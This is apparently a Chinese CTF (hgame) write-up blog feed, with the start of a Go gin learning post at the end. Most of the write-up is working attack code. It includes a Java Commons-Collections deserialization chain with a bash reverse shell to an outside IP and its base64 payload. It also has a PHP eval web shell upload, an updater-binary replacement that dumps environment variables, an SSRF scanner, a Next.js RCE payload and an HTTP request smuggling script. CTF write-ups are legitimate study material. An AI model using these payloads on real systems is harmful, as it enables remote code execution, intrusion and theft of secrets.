async fn update_watcher() {
    use tokio::time::{Duration, sleep};

    let current_version = match Version::parse(VERSION) {
        Ok(v) =&amp;gt; v,
        Err(e) =&amp;gt; {
            eprintln!(&quot;Failed to parse current version: {}&quot;, e);
            return;
        }
    };

    let check_interval = Duration::from_secs(5);

    loop {
        sleep(check_interval).await;

        if let Some(new_version) = get_new_version().await {
            if new_version &amp;gt; current_version {
                let path = match env::current_exe() {
                    Ok(p) =&amp;gt; p,
                    Err(e) =&amp;gt; {
                        eprintln!(&quot;Failed to get current executable path: {}&quot;, e);
                        continue;
                    }
                };

                if let Err(e) = update().await {
                    eprintln!(&quot;Update failed: {}&quot;, e);
                } else {
                    println!(&quot;Update succeeded, restarting...&quot;);
                    restart_myself(path);
                }
            }
        }
    }
}

#[cfg(feature = &quot;ssr&quot;)]
async fn get_new_version() -&amp;gt; Option&amp;lt;Version&amp;gt; {
    use tokio::process::Command;

    let output = Command::new(&quot;./update/easyuu&quot;)
        .arg(&quot;--version&quot;)
        .output()
        .await
        .ok()?;

    let version_str = String::from_utf8(output.stdout).ok()?.trim().to_string();
    Version::parse(&amp;amp;version_str).ok()
}

#[cfg(feature = &quot;ssr&quot;)]
async fn update() -&amp;gt; Result&amp;lt;(), Box&amp;lt;dyn std::error::Error&amp;gt;&amp;gt; {
    let new_binary = &quot;./update/easyuu&quot;;
    self_replace::self_replace(&amp;amp;new_binary)?;
    // fs::remove_file(&amp;amp;new_binary)?;
    Ok(())
}

#[cfg(feature = &quot;ssr&quot;)]
fn restart_myself(path: std::path::PathBuf) {
    use std::os::unix::process::CommandExt;
    use std::process::Command;

    let _ = Command::new(path).exec();
}

#[cfg(not(feature = &quot;ssr&quot;))]
pub fn main() {
    // no client-side main function
    // unless we want this to work with e.g., Trunk for pure client-side testing
    // see lib.rs for hydration function instead
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每隔 5 秒进行一次版本号检查，如果大于当前版本号就更新，会执行一次&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./update/easyuu --version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上传同名文件替换这个 easyuu,替换为恶意脚本拿环境变量&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
const form = new FormData();
form.append(&quot;path1&quot;, &quot;./update&quot;);

const script = `#!/bin/bash
env &amp;gt; ./uploads/flag.txt
echo &quot;0.0.1&quot;`;

form.append(&quot;file&quot;, new Blob([script]), &quot;easyuu&quot;);

const res = await fetch(&quot;http://1.116.118.188:32111/api/upload_file&quot;, {
    method: &quot;POST&quot;,
    body: form,
});
console.log(&quot;上传结果:&quot;, await res.text());

setTimeout(async () =&amp;gt; {
    const flag = await fetch(&quot;http://1.116.118.188:32111/api/download_file/flag.txt&quot;);
    console.log(await flag.text());
}, 6000);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771505476634.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;hgame{UpIOad-aNd-UpDaTE-@re_rE4ILy_3@sY1a5c8}&lt;/p&gt;
&lt;h4&gt;ezcc&lt;/h4&gt;
&lt;p&gt;cc6 做前半段链子，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// exp.java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class EXP {
    public static void main(String[] args) throws Exception
    {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField(&quot;_name&quot;);
        nameField.setAccessible(true);
        nameField.set(templates,&quot;codes&quot;);

        Field bytecodesField = templatesClass.getDeclaredField(&quot;_bytecodes&quot;);
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get(&quot;D:\\tools_D\\java\\java_learn\\cc_chain\\cc3_\\src\\main\\java\\codes.class&quot;));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);

        Field tfactoryField = templatesClass.getDeclaredField(&quot;_tfactory&quot;);
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class), 
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap&amp;lt;Object, Object&amp;gt; hashMap = new HashMap&amp;lt;&amp;gt;();
        Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(&quot;five&quot;)); 
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, &quot;key&quot;);
        HashMap&amp;lt;Object, Object&amp;gt; expMap = new HashMap&amp;lt;&amp;gt;();
        expMap.put(tiedMapEntry, &quot;value&quot;);
        lazyMap.remove(&quot;key&quot;);
  
        Class&amp;lt;LazyMap&amp;gt; lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField(&quot;factory&quot;);
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);

        serialize(expMap);
    }

    public static void setFieldValue(Object object, String field_name, Object filed_value) throws Exception {
        Class clazz = object.getClass();
        Field declaredField = clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object, filed_value);
    }

    public static void serialize(Object obj) throws Exception {
        java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(obj);
        }
        byte[] serialized = baos.toByteArray();
        Files.write(Paths.get(&quot;trAXFilter.bin&quot;), serialized);
        String b64 = java.util.Base64.getEncoder().encodeToString(serialized);
        Files.write(Paths.get(&quot;trAXFilter.b64&quot;), b64.getBytes(java.nio.charset.StandardCharsets.UTF_8));
        System.out.println(b64);
    }
}


// codes.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class codes extends AbstractTranslet {
    static {
        try{
            String[] cmdArray = {&quot;/bin/bash&quot;, &quot;-c&quot;, &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/121.41.188.46/7777 0&amp;gt;&amp;amp;1&quot;};
            Runtime.getRuntime().exec(cmdArray);
        }
        catch(Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}


&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADa2V5c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAACc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAPm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnN0YW50aWF0ZVRyYW5zZm9ybWVyNIv0f6SG0DsCAAJbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzcQB+ABVMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAEZ8r+ur4AAAA0AC0KAAsAGgcAGwgAHAgAHQgAHgoAHwAgCgAfACEHACIKAAgAIwcAJAcAJQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwAmAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAIgEAClNvdXJjZUZpbGUBAApjb2Rlcy5qYXZhDAAMAA0BABBqYXZhL2xhbmcvU3RyaW5nAQAJL2Jpbi9iYXNoAQACLWMBACtiYXNoIC1pID4mIC9kZXYvdGNwLzEyMS40MS4xODguNDYvNzc3NyAwPiYxBwAnDAAoACkMACoAKwEAE2phdmEvbGFuZy9FeGNlcHRpb24MACwADQEABWNvZGVzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEACgALAAAAAAAEAAEADAANAAEADgAAAB0AAQABAAAABSq3AAGxAAAAAQAPAAAABgABAAAABwABABAAEQACAA4AAAAZAAAAAwAAAAGxAAAAAQAPAAAABgABAAAAEwASAAAABAABABMAAQAQABQAAgAOAAAAGQAAAAQAAAABsQAAAAEADwAAAAYAAQAAABYAEgAAAAQAAQATAAgAFQANAAEADgAAAGYABAABAAAAJQa9AAJZAxIDU1kEEgRTWQUSBVNLuAAGKrYAB1enAAhLKrYACbEAAQAAABwAHwAIAAIADwAAABoABgAAAAoAFAALABwADwAfAA0AIAAOACQAEAAWAAAABwACXwcAFwQAAQAYAAAAAgAZcHQABWNvZGVzcHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AAV2YWx1ZXg=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;反弹 shell 后没有回显，但是可以正常执行命令，curl http://xxxx $(cat /flag) 外带 flag,不知道为啥没有 {} 这俩字符，可能是传输有问题？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1770788305738.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;baby-web?&lt;/h4&gt;
&lt;p&gt;给了一个文件上传接口，发现没有禁止 php 文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771039231355.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;上传后保存在 uploads/ 目录下 ，然后重定向到一个不存在的文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;header(&quot;Location: l0cked_myst3ry.php?message=&quot; . urlencode($message) . &quot;&amp;amp;type=&quot; . urlencode($type));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上传 php 文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests

URL = &apos;http://1.116.118.188:31333&apos;


php_code = b&apos;&amp;lt;?php echo eval($_POST[&quot;cmd&quot;]); ?&amp;gt;&apos;


r = requests.post(
    URL + &apos;/upload_handler.php&apos;,
    files={&apos;fileToUpload&apos;: (&apos;shell1.php&apos;, php_code, &apos;application/octet-stream&apos;)},
    data={&apos;submit&apos;: &apos;upload&apos;},
    allow_redirects=False   
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;连蚁剑&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771039768820.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看 ip 信息&lt;img src=&quot;QQ_1771040659832.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests

TARGET = &apos;http://1.116.118.188:32710&apos;


php_code = b&apos;&apos;&apos;&amp;lt;?php
 $ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $_GET[&apos;ip&apos;]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$output = curl_exec($ch);

if($output === FALSE){
    echo &quot;CURL Error: &quot; . curl_error($ch);
} else {
    echo $output;
}
curl_close($ch);

?&amp;gt;&apos;&apos;&apos;


r = requests.post(
    TARGET + &apos;/upload_handler.php&apos;,
    files={&apos;fileToUpload&apos;: (&apos;1.php&apos;, php_code, &apos;application/octet-stream&apos;)},
    data={&apos;submit&apos;: &apos;upload&apos;},
    allow_redirects=False   
)
print(f&quot;Upload status: {r.status_code}&quot;)  


for i in range(255):
    r = requests.get(TARGET + &apos;/uploads/1.php?ip=10.0.0.&apos; + str(i))
    print(r.text)     

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771044867638.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现 10.0.0.2 存活，其他都是超时 timeout=3. 端口对不上，扫一下端口发现&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771047266240.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ai 写 exp 打react2shell。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import json
import base64

TARGET = &apos;http://1.116.118.188:32710&apos;

cmd = &quot;cat /flag&quot;

c0_v1 = json.dumps({
    &quot;status&quot;: &quot;resolved_model&quot;,
    &quot;then&quot;: &quot;$1:then&quot;,
    &quot;value&quot;: &apos;{&quot;then&quot;: &quot;$B114514&quot;}&apos;,
    &quot;_response&quot;: {
        &quot;_prefix&quot;: f&quot;var res=process.mainModule.require(&apos;child_process&apos;).execSync(&apos;{cmd}&apos;,{{&apos;timeout&apos;:5000}}).toString().trim();;throw Object.assign(new Error(&apos;NEXT_REDIRECT&apos;), {{digest: res}});////&quot;,
        &quot;_formData&quot;: {
            &quot;get&quot;: &quot;$1:constructor:constructor&quot;
        }
    },
    &quot;reason&quot;: -114514,
})
c1_v1 = &apos;&quot;$@114514&quot;&apos;

c0_v2 = json.dumps({
    &quot;then&quot;: &quot;$1:then&quot;,
    &quot;value&quot;: &apos;{&quot;then&quot;: &quot;$B114514&quot;}&apos;,
    &quot;_response&quot;: {
        &quot;_prefix&quot;: f&quot;var res=process.mainModule.require(&apos;child_process&apos;).execSync(&apos;{cmd}&apos;,{{&apos;timeout&apos;:5000}}).toString().trim();;throw Object.assign(new Error(&apos;NEXT_REDIRECT&apos;), {{digest: res}});////&quot;,
        &quot;_formData&quot;: {
            &quot;get&quot;: &quot;$1:constructor:constructor&quot;
        }
    },
    &quot;reason&quot;: &quot;$0:_formData:get&quot;,
})
c1_v2 = &apos;&quot;$@114514&quot;&apos;


c0_v3 = json.dumps({
    &quot;then&quot;: &quot;$1:__proto__:then&quot;,
})
c1_v3 = &apos;&quot;$@0&quot;&apos;

def make_php(c0, c1, label):
    c0_b64 = base64.b64encode(c0.encode()).decode()
    c1_b64 = base64.b64encode(c1.encode()).decode()
    lines = [
        &apos;&amp;lt;?php&apos;,
        &apos;error_reporting(E_ALL);&apos;,
        &apos;ini_set(&quot;max_execution_time&quot;, 30);&apos;,
        f&apos;echo &quot;=== {label} ===\\n&quot;;&apos;,
        f&apos;$c0 = base64_decode(&quot;{c0_b64}&quot;);&apos;,
        f&apos;$c1 = base64_decode(&quot;{c1_b64}&quot;);&apos;,
        &apos;echo &quot;c0: $c0\\nc1: $c1\\n\\n&quot;;&apos;,
        &apos;$ch = curl_init();&apos;,
        &apos;curl_setopt($ch, CURLOPT_URL, &quot;http://10.0.0.2:3000/&quot;);&apos;,
        &apos;curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);&apos;,
        &apos;curl_setopt($ch, CURLOPT_TIMEOUT, 10);&apos;,
        &apos;curl_setopt($ch, CURLOPT_POST, true);&apos;,
        &apos;curl_setopt($ch, CURLOPT_POSTFIELDS, array(&quot;0&quot; =&amp;gt; $c0, &quot;1&quot; =&amp;gt; $c1));&apos;,
        &apos;curl_setopt($ch, CURLOPT_HTTPHEADER, array(&quot;Next-Action: x&quot;));&apos;,
        &apos;curl_setopt($ch, CURLOPT_HEADER, true);&apos;,
        &apos;$result = curl_exec($ch);&apos;,
        &apos;$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);&apos;,
        &apos;$err = curl_error($ch);&apos;,
        &apos;curl_close($ch);&apos;,
        &apos;echo &quot;HTTP $code | Error: $err\\nResponse:\\n$result\\n&quot;;&apos;,
        &apos;?&amp;gt;&apos;,
    ]
    return &apos;\n&apos;.join(lines).encode(&apos;utf-8&apos;)

variants = [
    (c0_v1, c1_v1, &quot;V1_resolved_model&quot;),
    (c0_v2, c1_v2, &quot;V2_reason_ref&quot;),
    (c0_v3, c1_v3, &quot;V3_proto_simple&quot;),
]

for i, (c0, c1, label) in enumerate(variants):
    php_bytes = make_php(c0, c1, label)
    fname = f&apos;v{i+1}.php&apos;
    
    print(f&quot;\n=== {label} ===&quot;)
    r = requests.post(
        TARGET + &apos;/upload_handler.php&apos;,
        files={&apos;fileToUpload&apos;: (fname, php_bytes, &apos;application/octet-stream&apos;)},
        data={&apos;submit&apos;: &apos;upload&apos;},
        allow_redirects=False
    )
    print(f&quot;Upload: {r.status_code}&quot;)
    
    r = requests.get(TARGET + f&apos;/uploads/{fname}&apos;, timeout=30)
    print(f&quot;Execute: {r.status_code}&quot;)
    print(r.text[:3000])

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771047500118.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{tARGeT_lN_FAK3-taRG3T_XixI6c13e7bf6}&lt;/p&gt;
&lt;h4&gt;新闻&lt;/h4&gt;
&lt;p&gt;应该有一个 bot 每隔几秒发布一个新闻，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771047798594.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;/@fs/ 能任意读取文件，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/bin/python3\u0000/usr/bin/supervisord\u0000-c\u0000/etc/supervisor/conf.d/supervisord.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;[supervisord]
nodaemon=true
user=root

[program:rust-backend]
directory=/app
command=/app/backend_server
user=ctf
autostart=true
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

[program:vite-frontend]
directory=/app/frontend
command=npm run dev -- --host 0.0.0.0 --port 5173
user=ctf
autostart=true
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

[program:node-proxy]
directory=/app/frontend
command=node proxy.js
user=root
autostart=true
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动 proxy.js, 前端和后端 rust&lt;/p&gt;
&lt;p&gt;读取前端文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/app/frontend/package.json
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;import http from &apos;http&apos;;
import httpProxy from &apos;http-proxy&apos;;

const RUST_TARGET = &apos;http://127.0.0.1:3000&apos;;
const VITE_TARGET = &apos;http://127.0.0.1:5173&apos;;

const proxy = httpProxy.createProxyServer({
  agent: new http.Agent({ 
    keepAlive: true,      
    maxSockets: 100,      
    keepAliveMsecs: 10000 
  }),
  xfwd: true,            
});


proxy.on(&apos;error&apos;, (err, req, res) =&amp;gt; {
  console.error(&apos;[Proxy Error]&apos;, err.message);
  if (res &amp;amp;&amp;amp; !res.headersSent) {
    try { 
      res.writeHead(502); 
      res.end(&apos;Bad Gateway&apos;); 
    } catch(e) {}
  }
});


const server = http.createServer((req, res) =&amp;gt; {
  
  if (req.url.startsWith(&apos;/api/&apos;)) {
    // 如果路径以 /api/ 开头，转发给 Rust 后端
    proxy.web(req, res, { target: RUST_TARGET });
  } else {
    // 其余请求，转发给 Vite 前端
    proxy.web(req, res, { target: VITE_TARGET });
  }
});


console.log(&quot;馃敟 Node.js Dumb Proxy running on port 80&quot;);
server.listen(80);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继续读取 rust 文件,在 main.rs 中发现还有 handlers http_parser 两个文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;main.rs
http_parser.rs
handlers.rs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;http_parser.rs 自己写的解析器，只解析 cl 头，不管 te 头，同时 bot 还在不断发送请求，应该是 http 走私&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771059987159.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import socket
import time
import uuid
import requests
import concurrent.futures, re, os, sys

HOST = &quot;1.116.118.188&quot;
PROXY_PORT = 30545   
RUST_PORT  = 31698  
RUST = f&quot;http://{HOST}:{RUST_PORT}&quot;

uid = str(uuid.uuid4())[:8]
username = f&quot;wsh_{uid}&quot;
r = requests.post(f&quot;{RUST}/api/register&quot;,
                    json={&quot;username&quot;: username, &quot;password&quot;: &quot;wsh&quot;},
                    timeout=3,
                    proxies={&quot;http&quot;: None, &quot;https&quot;: None})
token = r.json()[&quot;token&quot;]
print(f&quot;[+] 注册成功:{username}, token={token}&quot;)

# payload
prefix = &quot;content=STOLEN:&quot;
extra_cl = 300
total_cl = len(prefix) + extra_cl

internal_pkt = (
    f&quot;POST /api/comment HTTP/1.1\r\n&quot;
    f&quot;Host: 127.0.0.1:3000\r\n&quot;
    f&quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;
    f&quot;Authorization: {token}\r\n&quot;
    f&quot;Content-Length: {total_cl}\r\n&quot;
    f&quot;\r\n&quot;
    f&quot;{prefix}&quot;
)
chunk_size = format(len(internal_pkt), &quot;x&quot;)

outer_pkt = (
    f&quot;POST /api/register HTTP/1.1\r\n&quot;
    f&quot;Host: {HOST}:{PROXY_PORT}\r\n&quot;
    f&quot;Content-Type: application/json\r\n&quot;
    f&quot;Transfer-Encoding: chunked\r\n&quot;
    f&quot;\r\n&quot;
    f&quot;{chunk_size}\r\n&quot;
    f&quot;{internal_pkt}\r\n&quot;
    f&quot;0\r\n&quot;
    f&quot;\r\n&quot;
)

# 
def send_payload():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((HOST, PROXY_PORT))
        s.sendall(outer_pkt.encode())
        time.sleep(0.5)
        try:
            s.recv(65536)
        except Exception:
            pass
        s.close()
        return True
    except Exception:
        return False

Poison_count = 5
for rnd in range(20):
    print(f&quot;[*] Round {rnd+1}: 污染连接池...&quot;)
    with concurrent.futures.ThreadPoolExecutor(max_workers=5) as ex:
        futs = [ex.submit(send_poison) for _ in range(Poison_count)]
        ok_poison = sum(1 for f in concurrent.futures.as_completed(futs) if f.result())
    print(f&quot;完成污染{ok_poison}/{Poison_count} 条连接&quot;)

    print(f&quot;等待 25 s让 Bot 触发&quot;)
    time.sleep(25)

    try:
        r = requests.get(f&quot;{RUST}/api/comment&quot;,headers={&quot;Authorization&quot;: token},timeout=15,proxies={&quot;http&quot;: None, &quot;https&quot;: None})
        comments = r.json()
    except Exception as e:
        print(f&quot;读取评论失败: {e}&quot;)
        continue
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771073829479.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>go gin框架学习</title><link>https://fuwari.vercel.app/posts/post9-go/1/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/post9-go/1/</guid><description>go</description><pubDate>Mon, 09 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;go&lt;/h3&gt;
&lt;h4&gt;变量声明&lt;/h4&gt;
&lt;p&gt;使用 var 关键字&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var name string = &quot;wsh&quot;

var (
	name string
	isReady bool
	age int
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;短变量声明 := (在函数内部使用，可以自动推导变量类型）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;playerName := &quot;AlphaPlayer&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不可变变量使用 const 声明&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const sercet string = &quot;wsh&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;数据类型&lt;/h4&gt;
&lt;p&gt;基础类型&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;int&lt;/li&gt;
&lt;li&gt;float&lt;/li&gt;
&lt;li&gt;str // 不可变&lt;/li&gt;
&lt;li&gt;bool&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;聚合类型&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;array //长度固定，值类型&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过 []Type 声明&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func main() {
    var v [1]int
    v[0] = 1
    fmt.Println(v)
    v1 := [2]string{&quot;1&quot;,&quot;2&quot;}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;支持切片 ,通过 len() cap() 获取切片的长度和容量&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;v[low:high]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;struct&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;引用类型&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;slice //  是动态数组，或者说和数组很相似，[]int，不指定长度&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;切片可以从现有数组中截取获得&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;numbers := [5]int{10, 20, 30, 40, 50}
numslice = numbers[2:4]
&lt;/code&gt;&lt;/pre&gt;
